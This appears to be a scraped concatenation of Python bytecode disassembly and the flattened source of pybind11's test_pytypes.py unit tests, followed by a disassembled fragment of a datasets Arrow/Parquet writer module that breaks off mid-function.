AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_LSHIFT STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD inplace_lshift LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_RSHIFT STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD inplace_rshift LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE
import contextlib import sys import types import pytest import env from pybind11_tests import detailed_error_messages_enabled from pybind11_tests import pytypes as m def test_obj_class_name(): assert m.obj_class_name(None) == "NoneType" assert m.obj_class_name(list) == "list" assert m.obj_class_name([]) == "list" def test_handle_from_move_only_type_with_operator_PyObject(): assert m.handle_from_move_only_type_with_operator_PyObject_ncnst() assert m.handle_from_move_only_type_with_operator_PyObject_const() def test_bool(doc): assert doc(m.get_bool) == "get_bool() -> bool" def test_int(doc): assert doc(m.get_int) == "get_int() -> int" def test_iterator(doc): assert doc(m.get_iterator) == "get_iterator() -> Iterator" @pytest.mark.parametrize( ("pytype", "from_iter_func"), [ (frozenset, m.get_frozenset_from_iterable), (list, m.get_list_from_iterable), (set, m.get_set_from_iterable), (tuple, m.get_tuple_from_iterable), ], ) def test_from_iterable(pytype, from_iter_func): my_iter = iter(range(10)) s = from_iter_func(my_iter) assert type(s) == pytype assert s == pytype(range(10)) def test_iterable(doc): assert doc(m.get_iterable) == "get_iterable() -> Iterable" def test_float(doc): assert doc(m.get_float) == "get_float() -> float" def test_list(capture, doc): assert m.list_no_args() == [] assert m.list_ssize_t() == [] assert m.list_size_t() == [] lins = [1, 2] m.list_insert_ssize_t(lins) assert lins == [1, 83, 2] m.list_insert_size_t(lins) assert lins == [1, 83, 2, 57] with capture: lst = m.get_list() assert lst == ["inserted-0", "overwritten", "inserted-2"] lst.append("value2") m.print_list(lst) assert ( capture.unordered == """ Entry at position 0: value list item 0: inserted-0 list item 1: overwritten list item 2: inserted-2 list item 3: value2 """ ) assert doc(m.get_list) == "get_list() -> list" assert doc(m.print_list) == "print_list(arg0: list) -> None" def test_none(doc): assert doc(m.get_none) == "get_none() -> None" assert doc(m.print_none) == "print_none(arg0: None) -> None" def test_set(capture, doc): s = m.get_set() assert isinstance(s, set) assert s == {"key1", "key2", "key3"} s.add("key4") with capture: m.print_anyset(s) assert ( capture.unordered == """ key: key1 key: key2 key: key3 key: key4 """ ) m.set_add(s, "key5") assert m.anyset_size(s) == 5 m.set_clear(s) assert m.anyset_empty(s) assert not m.anyset_contains(set(), 42) assert m.anyset_contains({42}, 42) assert m.anyset_contains({"foo"}, "foo") assert doc(m.get_set) == "get_set() -> set" assert doc(m.print_anyset) == "print_anyset(arg0: anyset) -> None" def test_frozenset(capture, doc): s = m.get_frozenset() assert isinstance(s, frozenset) assert s == frozenset({"key1", "key2", "key3"}) with capture: m.print_anyset(s) assert ( capture.unordered == """ key: key1 key: key2 key: key3 """ ) assert m.anyset_size(s) == 3 assert not m.anyset_empty(s) assert not m.anyset_contains(frozenset(), 42) assert m.anyset_contains(frozenset({42}), 42) assert m.anyset_contains(frozenset({"foo"}), "foo") assert doc(m.get_frozenset) == "get_frozenset() -> frozenset" def test_dict(capture, doc): d = m.get_dict() assert d == {"key": "value"} with capture: d["key2"] = "value2" m.print_dict(d) assert ( capture.unordered == """ key: key, value=value key: key2, value=value2 """ ) assert not m.dict_contains({}, 42) assert m.dict_contains({42: None}, 42) assert m.dict_contains({"foo": None}, "foo") assert doc(m.get_dict) == "get_dict() -> dict" assert doc(m.print_dict) == "print_dict(arg0: dict) -> None" assert m.dict_keyword_constructor() == {"x": 1, "y": 2, "z": 3} class CustomContains: d = {"key": None} def __contains__(self, m): return m in self.d @pytest.mark.parametrize( ("arg", "func"), [ (set(), m.anyset_contains), ({}, m.dict_contains), (CustomContains(), m.obj_contains), ], ) @pytest.mark.xfail("env.PYPY and sys.pypy_version_info < (7, 3, 10)", strict=False) def test_unhashable_exceptions(arg, func): class Unhashable: __hash__ = None with pytest.raises(TypeError) as exc_info: func(arg, Unhashable()) assert "unhashable type:" in str(exc_info.value) def test_tuple(): assert m.tuple_no_args() == () assert m.tuple_ssize_t() == () assert m.tuple_size_t() == () assert m.get_tuple() == (42, None, "spam") def test_simple_namespace(): ns = m.get_simple_namespace() assert ns.attr == 42 assert ns.x == "foo" assert ns.right == 2 assert not hasattr(ns, "wrong") def test_str(doc): assert m.str_from_char_ssize_t().encode().decode() == "red" assert m.str_from_char_size_t().encode().decode() == "blue" assert m.str_from_string().encode().decode() == "baz" assert m.str_from_bytes().encode().decode() == "boo" assert doc(m.str_from_bytes) == "str_from_bytes() -> str" class A: def __str__(self): return "this is a str" def __repr__(self): return "this is a repr" assert m.str_from_object(A()) == "this is a str" assert m.repr_from_object(A()) == "this is a repr" assert m.str_from_handle(A()) == "this is a str" s1, s2 = m.str_format() assert s1 == "1 + 2 = 3" assert s1 == s2 malformed_utf8 = b"\x80" if hasattr(m, "PYBIND11_STR_LEGACY_PERMISSIVE"): assert m.str_from_object(malformed_utf8) is malformed_utf8 else: assert m.str_from_object(malformed_utf8) == "b'\\x80'" assert m.str_from_handle(malformed_utf8) == "b'\\x80'" assert m.str_from_string_from_str("this is a str") == "this is a str" ucs_surrogates_str = "\udcc3" with pytest.raises(UnicodeEncodeError): m.str_from_string_from_str(ucs_surrogates_str) @pytest.mark.parametrize( "func", [ m.str_from_bytes_input, m.str_from_cstr_input, m.str_from_std_string_input, ], ) def test_surrogate_pairs_unicode_error(func): input_str = "\ud83d\ude4f".encode("utf-8", "surrogatepass") with pytest.raises(UnicodeDecodeError): func(input_str) def test_bytes(doc): assert m.bytes_from_char_ssize_t().decode() == "green" assert m.bytes_from_char_size_t().decode() == "purple" assert m.bytes_from_string().decode() == "foo" assert m.bytes_from_str().decode() == "bar" assert doc(m.bytes_from_str) == "bytes_from_str() -> bytes" def test_bytearray(): assert m.bytearray_from_char_ssize_t().decode() == "$%" assert m.bytearray_from_char_size_t().decode() == "@$!" assert m.bytearray_from_string().decode() == "foo" assert m.bytearray_size() == len("foo") def test_capsule(capture): pytest.gc_collect() with capture: a = m.return_capsule_with_destructor() del a pytest.gc_collect() assert ( capture.unordered == """ creating capsule destructing capsule """ ) with capture: a = m.return_renamed_capsule_with_destructor() del a pytest.gc_collect() assert ( capture.unordered == """ creating capsule renaming capsule destructing capsule """ ) with capture: a = m.return_capsule_with_destructor_2() del a pytest.gc_collect() assert ( capture.unordered == """ creating capsule destructing capsule: 1234 """ ) with capture: a = m.return_capsule_with_destructor_3() del a pytest.gc_collect() assert ( capture.unordered == """ creating capsule destructing capsule: 1233 original name: oname """ ) with capture: a = m.return_renamed_capsule_with_destructor_2() del a pytest.gc_collect() assert ( capture.unordered == """ creating capsule renaming capsule destructing capsule: 1234 """ ) with capture: a = m.return_capsule_with_name_and_destructor() del a pytest.gc_collect() assert ( capture.unordered == """ created capsule (1234, 'pointer type description') destructing capsule (1234, 'pointer type description') """ ) with capture: a = m.return_capsule_with_explicit_nullptr_dtor() del a pytest.gc_collect() assert ( capture.unordered == """ creating capsule with explicit nullptr dtor """ ) def test_accessors(): class SubTestObject: attr_obj = 1 attr_char = 2 class TestObject: basic_attr = 1 begin_end = [1, 2, 3] d = {"operator[object]": 1, "operator[char *]": 2} sub = SubTestObject() def func(self, x, *args): return self.basic_attr + x + sum(args) d = m.accessor_api(TestObject()) assert d["basic_attr"] == 1 assert d["begin_end"] == [1, 2, 3] assert d["operator[object]"] == 1 assert d["operator[char *]"] == 2 assert d["attr(object)"] == 1 assert d["attr(char *)"] == 2 assert d["missing_attr_ptr"] == "raised" assert d["missing_attr_chain"] == "raised" assert d["is_none"] is False assert d["operator()"] == 2 assert d["operator*"] == 7 assert d["implicit_list"] == [1, 2, 3] assert all(x in TestObject.__dict__ for x in d["implicit_dict"]) assert m.tuple_accessor(()) == (0, 1, 2) d = m.accessor_assignment() assert d["get"] == 0 assert d["deferred_get"] == 0 assert d["set"] == 1 assert d["deferred_set"] == 1 assert d["var"] == 99 def test_accessor_moves(): inc_refs = m.accessor_moves() if inc_refs: assert inc_refs == [1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0] else: pytest.skip("Not defined: PYBIND11_HANDLE_REF_DEBUG") def test_constructors(): """C++ default and converting constructors are equivalent to type calls in Python""" types = [bytes, bytearray, str, bool, int, float, tuple, list, dict, set] expected = {t.__name__: t() for t in types} assert m.default_constructors() == expected data = { bytes: b"41", # Currently no supported or working conversions. bytearray: bytearray(b"41"), str: 42, bool: "Not empty", int: "42", float: "+1e3", tuple: range(3), list: range(3), dict: [("two", 2), ("one", 1), ("three", 3)], set: [4, 4, 5, 6, 6, 6], frozenset: [4, 4, 5, 6, 6, 6], memoryview: b"abc", } inputs = {k.__name__: v for k, v in data.items()} expected = {k.__name__: k(v) for k, v in data.items()} assert m.converting_constructors(inputs) == expected assert m.cast_functions(inputs) == expected noconv1 = m.converting_constructors(expected) for k in noconv1: assert noconv1[k] is expected[k] noconv2 = m.cast_functions(expected) for k in noconv2: assert noconv2[k] is expected[k] def test_non_converting_constructors(): non_converting_test_cases = [ ("bytes", range(10)), ("none", 42), ("ellipsis", 42), ("type", 42), ] for t, v in non_converting_test_cases: for move in [True, False]: with pytest.raises(TypeError) as excinfo: m.nonconverting_constructor(t, v, move) expected_error = ( f"Object of type '{type(v).__name__}' is not an instance of '{t}'" ) assert str(excinfo.value) == expected_error def test_pybind11_str_raw_str(): cvt = m.convert_to_pybind11_str assert cvt("Str") == "Str" assert cvt(b"Bytes") == "b'Bytes'" assert cvt(None) == "None" assert cvt(False) == "False" assert cvt(True) == "True" assert cvt(42) == "42" assert cvt(2**65) == "36893488147419103232" assert cvt(-1.50) == "-1.5" assert cvt(()) == "()" assert cvt((18,)) == "(18,)" assert cvt([]) == "[]" assert cvt([28]) == "[28]" assert cvt({}) == "{}" assert cvt({3: 4}) == "{3: 4}" assert cvt(set()) == "set()" assert cvt({3}) == "{3}" valid_orig = "DZ" valid_utf8 = valid_orig.encode("utf-8") valid_cvt = cvt(valid_utf8) if hasattr(m, "PYBIND11_STR_LEGACY_PERMISSIVE"): assert valid_cvt is valid_utf8 else: assert type(valid_cvt) is str assert valid_cvt == "b'\\xc7\\xb1'" malformed_utf8 = b"\x80" if hasattr(m, "PYBIND11_STR_LEGACY_PERMISSIVE"): assert cvt(malformed_utf8) is malformed_utf8 else: malformed_cvt = cvt(malformed_utf8) assert type(malformed_cvt) is str assert malformed_cvt == "b'\\x80'" def test_implicit_casting(): """Tests implicit casting when assigning or appending to dicts and lists.""" z = m.get_implicit_casting() assert z["d"] == { "char*_i1": "abc", "char*_i2": "abc", "char*_e": "abc", "char*_p": "abc", "str_i1": "str", "str_i2": "str1", "str_e": "str2", "str_p": "str3", "int_i1": 42, "int_i2": 42, "int_e": 43, "int_p": 44, } assert z["l"] == [3, 6, 9, 12, 15] def test_print(capture): with capture: m.print_function() assert ( capture == """ Hello, World! 1 2.0 three True -- multiple args *args-and-a-custom-separator no new line here -- next print flush py::print + str.format = this """ ) assert capture.stderr == "this goes to stderr" with pytest.raises(RuntimeError) as excinfo: m.print_failure() assert str(excinfo.value) == "Unable to convert call argument " + ( "'1' of type 'UnregisteredType' to Python object" if detailed_error_messages_enabled else "'1' to Python object (#define PYBIND11_DETAILED_ERROR_MESSAGES or compile in debug mode for details)" ) def test_hash(): class Hashable: def __init__(self, value): self.value = value def __hash__(self): return self.value class Unhashable: __hash__ = None assert m.hash_function(Hashable(42)) == 42 with pytest.raises(TypeError): m.hash_function(Unhashable()) def test_number_protocol(): for a, b in [(1, 1), (3, 5)]: li = [ a == b, a != b, a < b, a <= b, a > b, a >= b, a + b, a - b, a * b, a / b, a | b, a & b, a ^ b, a >> b, a << b, ] assert m.test_number_protocol(a, b) == li def test_list_slicing(): li = list(range(100)) assert li[::2] == m.test_list_slicing(li) def test_issue2361(): assert m.issue2361_str_implicit_copy_none() == "None" with pytest.raises(TypeError) as excinfo: assert m.issue2361_dict_implicit_copy_none() assert "NoneType" in str(excinfo.value) assert "iterable" in str(excinfo.value) @pytest.mark.parametrize( ("method", "args", "fmt", "expected_view"), [ (m.test_memoryview_object, (b"red",), "B", b"red"), (m.test_memoryview_buffer_info, (b"green",), "B", b"green"), (m.test_memoryview_from_buffer, (False,), "h", [3, 1, 4, 1, 5]), (m.test_memoryview_from_buffer, (True,), "H", [2, 7, 1, 8]), (m.test_memoryview_from_buffer_nativeformat, (), "@i", [4, 7, 5]), ], ) def test_memoryview(method, args, fmt, expected_view): view = method(*args) assert isinstance(view, memoryview) assert view.format == fmt assert list(view) == list(expected_view) @pytest.mark.xfail("env.PYPY", reason="getrefcount is not available") @pytest.mark.parametrize( "method", [ m.test_memoryview_object, m.test_memoryview_buffer_info, ], ) def test_memoryview_refcount(method): buf = b"\x0a\x0b\x0c\x0d" ref_before = sys.getrefcount(buf) view = method(buf) ref_after = sys.getrefcount(buf) assert ref_before < ref_after assert list(view) == list(buf) def test_memoryview_from_buffer_empty_shape(): view = m.test_memoryview_from_buffer_empty_shape() assert isinstance(view, memoryview) assert view.format == "B" assert bytes(view) == b"" def test_test_memoryview_from_buffer_invalid_strides(): with pytest.raises(RuntimeError): m.test_memoryview_from_buffer_invalid_strides() def test_test_memoryview_from_buffer_nullptr(): with pytest.raises(ValueError): m.test_memoryview_from_buffer_nullptr() def test_memoryview_from_memory(): view = m.test_memoryview_from_memory() assert isinstance(view, memoryview) assert view.format == "B" assert bytes(view) == b"\xff\xe1\xab\x37" def test_builtin_functions(): assert m.get_len(list(range(42))) == 42 with pytest.raises(TypeError) as exc_info: m.get_len(i for i in range(42)) assert str(exc_info.value) in [ "object of type 'generator' has no len()", "'generator' has no length", ] # PyPy def test_isinstance_string_types(): assert m.isinstance_pybind11_bytes(b"") assert not m.isinstance_pybind11_bytes("") assert m.isinstance_pybind11_str("") if hasattr(m, "PYBIND11_STR_LEGACY_PERMISSIVE"): assert m.isinstance_pybind11_str(b"") else: assert not m.isinstance_pybind11_str(b"") def test_pass_bytes_or_unicode_to_string_types(): assert m.pass_to_pybind11_bytes(b"Bytes") == 5 with pytest.raises(TypeError): m.pass_to_pybind11_bytes("Str") if hasattr(m, "PYBIND11_STR_LEGACY_PERMISSIVE"): assert m.pass_to_pybind11_str(b"Bytes") == 5 else: with pytest.raises(TypeError): m.pass_to_pybind11_str(b"Bytes") assert m.pass_to_pybind11_str("Str") == 3 assert m.pass_to_std_string(b"Bytes") == 5 assert m.pass_to_std_string("Str") == 3 malformed_utf8 = b"\x80" if hasattr(m, "PYBIND11_STR_LEGACY_PERMISSIVE"): assert m.pass_to_pybind11_str(malformed_utf8) == 1 else: with pytest.raises(TypeError): m.pass_to_pybind11_str(malformed_utf8) @pytest.mark.parametrize( ("create_weakref", "create_weakref_with_callback"), [ (m.weakref_from_handle, m.weakref_from_handle_and_function), (m.weakref_from_object, m.weakref_from_object_and_function), ], ) def test_weakref(create_weakref, create_weakref_with_callback): from weakref import getweakrefcount class WeaklyReferenced: pass callback_called = False def callback(_): nonlocal callback_called callback_called = True obj = WeaklyReferenced() assert getweakrefcount(obj) == 0 wr = create_weakref(obj) assert getweakrefcount(obj) == 1 obj = WeaklyReferenced() assert getweakrefcount(obj) == 0 wr = create_weakref_with_callback(obj, callback) # noqa: F841 assert getweakrefcount(obj) == 1 assert not callback_called del obj pytest.gc_collect() assert callback_called @pytest.mark.parametrize( ("create_weakref", "has_callback"), [ (m.weakref_from_handle, False), (m.weakref_from_object, False), (m.weakref_from_handle_and_function, True), (m.weakref_from_object_and_function, True), ], ) def test_weakref_err(create_weakref, has_callback): class C: __slots__ = [] def callback(_): pass ob = C() with pytest.raises(TypeError) if not env.PYPY else contextlib.nullcontext(): _ = create_weakref(ob, callback) if has_callback else create_weakref(ob) def test_cpp_iterators(): assert m.tuple_iterator() == 12 assert m.dict_iterator() == 305 + 711 assert m.passed_iterator(iter((-7, 3))) == -4 def test_implementation_details(): lst = [39, 43, 92, 49, 22, 29, 93, 98, 26, 57, 8] tup = tuple(lst) assert m.sequence_item_get_ssize_t(lst) == 43 assert m.sequence_item_set_ssize_t(lst) is None assert lst[1] == "peppa" assert m.sequence_item_get_size_t(lst) == 92 assert m.sequence_item_set_size_t(lst) is None assert lst[2] == "george" assert m.list_item_get_ssize_t(lst) == 49 assert m.list_item_set_ssize_t(lst) is None assert lst[3] == "rebecca" assert m.list_item_get_size_t(lst) == 22 assert m.list_item_set_size_t(lst) is None assert lst[4] == "richard" assert m.tuple_item_get_ssize_t(tup) == 29 assert m.tuple_item_set_ssize_t() == ("emely", "edmond") assert m.tuple_item_get_size_t(tup) == 93 assert m.tuple_item_set_size_t() == ("candy", "cat") def test_external_float_(): r1 = m.square_float_(2.0) assert r1 == 4.0 def test_tuple_rvalue_getter(): pop = 1000 tup = tuple(range(pop)) m.tuple_rvalue_getter(tup) def test_list_rvalue_getter(): pop = 1000 my_list = list(range(pop)) m.list_rvalue_getter(my_list) def test_populate_dict_rvalue(): pop = 1000 my_dict = {i: i for i in range(pop)} assert m.populate_dict_rvalue(pop) == my_dict def test_populate_obj_str_attrs(): pop = 1000 o = types.SimpleNamespace(**{str(i): i for i in range(pop)}) new_o = m.populate_obj_str_attrs(o, pop) new_attrs = {k: v for k, v in new_o.__dict__.items() if not k.startswith("_")} assert all(isinstance(v, str) for v in new_attrs.values()) assert len(new_attrs) == pop @pytest.mark.parametrize( ("a", "b"), [("foo", "bar"), (1, 2), (1.0, 2.0), (list(range(3)), list(range(3, 6)))], ) def test_inplace_append(a, b): expected = a + b assert m.inplace_append(a, b) == expected @pytest.mark.parametrize( ("a", "b"), [(3, 2), (3.0, 2.0), (set(range(3)), set(range(2)))] ) def test_inplace_subtract(a, b): expected = a - b assert m.inplace_subtract(a, b) == expected @pytest.mark.parametrize(("a", "b"), [(3, 2), (3.0, 2.0), ([1], 3)]) def test_inplace_multiply(a, b): expected = a * b assert m.inplace_multiply(a, b) == expected @pytest.mark.parametrize(("a", "b"), [(6, 3), (6.0, 3.0)]) def test_inplace_divide(a, b): expected = a / b assert m.inplace_divide(a, b) == expected @pytest.mark.parametrize( ("a", "b"), [ (False, True), ( set(), { 1, }, ), ], ) def test_inplace_or(a, b): expected = a | b assert m.inplace_or(a, b) == expected @pytest.mark.parametrize( ("a", "b"), [ (True, False), ( {1, 2, 3}, { 1, }, ), ], ) def test_inplace_and(a, b): expected = a & b assert m.inplace_and(a, b) == expected @pytest.mark.parametrize(("a", "b"), [(8, 1), (-3, 2)]) def test_inplace_lshift(a, b): expected = a << b assert m.inplace_lshift(a, b) == expected @pytest.mark.parametrize(("a", "b"), [(8, 1), (-2, 2)]) def test_inplace_rshift(a, b): expected = a >> b assert m.inplace_rshift(a, b) == expected
data/ntgcalls-1.1.1/deps/pybind11/tests/test_pytypes.py
19,053
9,016
355,017
LOAD_CONST 'To write records into Parquet files.' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME errno STORE_NAME errno LOAD_CONST 0 LOAD_CONST None IMPORT_NAME json STORE_NAME json LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME sys STORE_NAME sys LOAD_CONST 0 LOAD_CONST ('Path',) IMPORT_NAME pathlib IMPORT_FROM Path STORE_NAME Path POP_TOP LOAD_CONST 0 LOAD_CONST ('Any', 'Dict', 'Iterable', 'List', 'Optional', 'Tuple', 'Union') IMPORT_NAME typing IMPORT_FROM Any STORE_NAME Any IMPORT_FROM Dict STORE_NAME Dict IMPORT_FROM Iterable STORE_NAME Iterable IMPORT_FROM List STORE_NAME List IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Tuple STORE_NAME Tuple IMPORT_FROM Union STORE_NAME Union POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME fsspec STORE_NAME fsspec LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_NAME np LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pyarrow STORE_NAME pa LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pyarrow.parquet IMPORT_FROM parquet STORE_NAME pq POP_TOP LOAD_CONST 1 LOAD_CONST ('config',) IMPORT_NAME IMPORT_FROM config STORE_NAME config POP_TOP LOAD_CONST 1 LOAD_CONST ('Features', 'Image', 'Value') IMPORT_NAME features IMPORT_FROM Features STORE_NAME Features IMPORT_FROM Image STORE_NAME Image IMPORT_FROM Value STORE_NAME Value POP_TOP LOAD_CONST 1 LOAD_CONST ('FeatureType', '_ArrayXDExtensionType', 'cast_to_python_objects', 'generate_from_arrow_type', 'get_nested_type', 'list_of_np_array_to_pyarrow_listarray', 'numpy_to_pyarrow_listarray', 'to_pyarrow_listarray') IMPORT_NAME features.features IMPORT_FROM FeatureType STORE_NAME FeatureType IMPORT_FROM _ArrayXDExtensionType STORE_NAME _ArrayXDExtensionType IMPORT_FROM cast_to_python_objects STORE_NAME cast_to_python_objects IMPORT_FROM generate_from_arrow_type STORE_NAME generate_from_arrow_type IMPORT_FROM get_nested_type STORE_NAME get_nested_type IMPORT_FROM list_of_np_array_to_pyarrow_listarray STORE_NAME list_of_np_array_to_pyarrow_listarray IMPORT_FROM numpy_to_pyarrow_listarray STORE_NAME numpy_to_pyarrow_listarray IMPORT_FROM to_pyarrow_listarray STORE_NAME to_pyarrow_listarray POP_TOP LOAD_CONST 1 LOAD_CONST ('is_remote_filesystem',) IMPORT_NAME filesystems IMPORT_FROM is_remote_filesystem STORE_NAME is_remote_filesystem POP_TOP LOAD_CONST 1 LOAD_CONST ('DatasetInfo',) IMPORT_NAME info IMPORT_FROM DatasetInfo STORE_NAME DatasetInfo POP_TOP LOAD_CONST 1 LOAD_CONST ('DuplicatedKeysError', 'KeyHasher') IMPORT_NAME keyhash IMPORT_FROM DuplicatedKeysError STORE_NAME DuplicatedKeysError IMPORT_FROM KeyHasher STORE_NAME KeyHasher POP_TOP LOAD_CONST 1 LOAD_CONST ('array_cast', 'cast_array_to_feature', 'embed_table_storage', 'table_cast') IMPORT_NAME table IMPORT_FROM array_cast STORE_NAME array_cast IMPORT_FROM cast_array_to_feature STORE_NAME cast_array_to_feature IMPORT_FROM embed_table_storage STORE_NAME embed_table_storage IMPORT_FROM table_cast STORE_NAME table_cast POP_TOP LOAD_CONST 1 LOAD_CONST ('logging',) IMPORT_NAME utils IMPORT_FROM logging STORE_NAME logging POP_TOP LOAD_CONST 1 LOAD_CONST ('tqdm',) IMPORT_NAME utils IMPORT_FROM tqdm STORE_NAME hf_tqdm POP_TOP LOAD_CONST 1 LOAD_CONST ('hash_url_to_filename',) IMPORT_NAME utils.file_utils IMPORT_FROM hash_url_to_filename STORE_NAME hash_url_to_filename POP_TOP LOAD_CONST 1 LOAD_CONST ('asdict', 'first_non_null_value') IMPORT_NAME utils.py_utils IMPORT_FROM asdict STORE_NAME asdict IMPORT_FROM first_non_null_value STORE_NAME first_non_null_value POP_TOP LOAD_NAME logging LOAD_METHOD get_logger LOAD_NAME __name__ CALL_METHOD STORE_NAME logger LOAD_NAME type STORE_NAME type_ LOAD_BUILD_CLASS LOAD_CONST <code object SchemaInferenceError at 0x7fa6d93a96f0, file "f.py", line 41> LOAD_CONST 'SchemaInferenceError' MAKE_FUNCTION LOAD_CONST 'SchemaInferenceError' LOAD_NAME ValueError CALL_FUNCTION STORE_NAME SchemaInferenceError LOAD_BUILD_CLASS LOAD_CONST <code object TypedSequence at 0x7fa6dd8074b0, file "f.py", line 45> LOAD_CONST 'TypedSequence' MAKE_FUNCTION LOAD_CONST 'TypedSequence' CALL_FUNCTION STORE_NAME TypedSequence LOAD_BUILD_CLASS LOAD_CONST <code object OptimizedTypedSequence at 0x7fa6dd807150, file "f.py", line 280> LOAD_CONST 'OptimizedTypedSequence' MAKE_FUNCTION LOAD_CONST 'OptimizedTypedSequence' LOAD_NAME TypedSequence CALL_FUNCTION STORE_NAME OptimizedTypedSequence LOAD_BUILD_CLASS LOAD_CONST <code object ArrowWriter at 0x7fa6d6884a50, file "f.py", line 306> LOAD_CONST 'ArrowWriter' MAKE_FUNCTION LOAD_CONST 'ArrowWriter' CALL_FUNCTION STORE_NAME ArrowWriter LOAD_BUILD_CLASS LOAD_CONST <code object ParquetWriter at 0x7fa6d6884390, file "f.py", line 679> LOAD_CONST 'ParquetWriter' MAKE_FUNCTION LOAD_CONST 'ParquetWriter' LOAD_NAME ArrowWriter CALL_FUNCTION STORE_NAME ParquetWriter LOAD_BUILD_CLASS LOAD_CONST <code object BeamWriter at 0x7fa6d6884d20, file "f.py", line 683> LOAD_CONST 'BeamWriter' MAKE_FUNCTION LOAD_CONST 'BeamWriter' CALL_FUNCTION STORE_NAME BeamWriter LOAD_NAME List LOAD_NAME int BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object get_parquet_lengths at 0x7fa6d6884c00, file "f.py", line 803> LOAD_CONST 'get_parquet_lengths' MAKE_FUNCTION STORE_NAME get_parquet_lengths LOAD_NAME List LOAD_NAME int BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object parquet_to_arrow at 0x7fa6d6884150, file "f.py", line 811> LOAD_CONST 'parquet_to_arrow' MAKE_FUNCTION STORE_NAME parquet_to_arrow LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SchemaInferenceError' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TypedSequence' STORE_NAME __qualname__ LOAD_CONST '\n This data container generalizes the typing when instantiating pyarrow arrays, tables or batches.\n\n More specifically it adds several features:\n - Support extension types like ``datasets.features.Array2DExtensionType``:\n By default pyarrow arrays don\'t return extension arrays. One has to call\n ``pa.ExtensionArray.from_storage(type, pa.array(data, type.storage_type))``\n in order to get an extension array.\n - Support for ``try_type`` parameter that can be used instead of ``type``:\n When an array is transformed, we like to keep the same type as before if possible.\n For example when calling :func:`datasets.Dataset.map`, we don\'t want to change the type\n of each column by default.\n - Better error message when a pyarrow array overflows.\n\n Example::\n\n from datasets.features import Array2D, Array2DExtensionType, Value\n from datasets.arrow_writer import TypedSequence\n import pyarrow as pa\n\n arr = pa.array(TypedSequence([1, 2, 3], type=Value("int32")))\n assert arr.type == pa.int32()\n\n arr = pa.array(TypedSequence([1, 2, 3], try_type=Value("int32")))\n assert arr.type == pa.int32()\n\n arr = pa.array(TypedSequence(["foo", "bar"], try_type=Value("int32")))\n assert arr.type == pa.string()\n\n arr = pa.array(TypedSequence([[[1, 2, 3]]], type=Array2D((1, 3), "int64")))\n assert arr.type == Array2DExtensionType((1, 3), "int64")\n\n table = pa.Table.from_pydict({\n "image": TypedSequence([[[1, 2, 3]]], type=Array2D((1, 3), "int64"))\n })\n assert table["image"].type == Array2DExtensionType((1, 3), "int64")\n\n ' STORE_NAME __doc__ LOAD_CONST (None, None, None) LOAD_NAME Iterable LOAD_NAME Optional LOAD_NAME FeatureType BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME FeatureType BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME FeatureType BINARY_SUBSCR LOAD_CONST ('data', 'type', 'try_type', 'optimized_int_type') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fa6dd807810, file "f.py", line 85> LOAD_CONST 'TypedSequence.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME FeatureType LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object get_inferred_type at 0x7fa6dd807ed0, file "f.py", line 104> LOAD_CONST 'TypedSequence.get_inferred_type' MAKE_FUNCTION STORE_NAME get_inferred_type LOAD_NAME staticmethod LOAD_NAME Iterable LOAD_NAME Tuple LOAD_NAME Iterable LOAD_NAME Optional LOAD_NAME FeatureType BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('data', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _infer_custom_type_and_encode at 0x7fa6dd807b70, file "f.py", line 119> LOAD_CONST 'TypedSequence._infer_custom_type_and_encode' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _infer_custom_type_and_encode LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME pa LOAD_ATTR DataType BINARY_SUBSCR LOAD_CONST ('type',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __arrow_array__ at 0x7fa6dd807270, file "f.py", line 149> LOAD_CONST 'TypedSequence.__arrow_array__' MAKE_FUNCTION STORE_NAME __arrow_array__ LOAD_CONST None RETURN_VALUE LOAD_FAST type LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST try_type LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'You cannot specify both type and try_type' CALL_FUNCTION RAISE_VARARGS LOAD_FAST data LOAD_FAST self STORE_ATTR data LOAD_FAST type LOAD_FAST self STORE_ATTR type LOAD_FAST try_type LOAD_FAST self STORE_ATTR try_type LOAD_FAST optimized_int_type LOAD_FAST self STORE_ATTR optimized_int_type LOAD_FAST self LOAD_ATTR try_type LOAD_CONST None COMPARE_OP is not LOAD_FAST self STORE_ATTR trying_type LOAD_FAST optimized_int_type LOAD_CONST None COMPARE_OP is 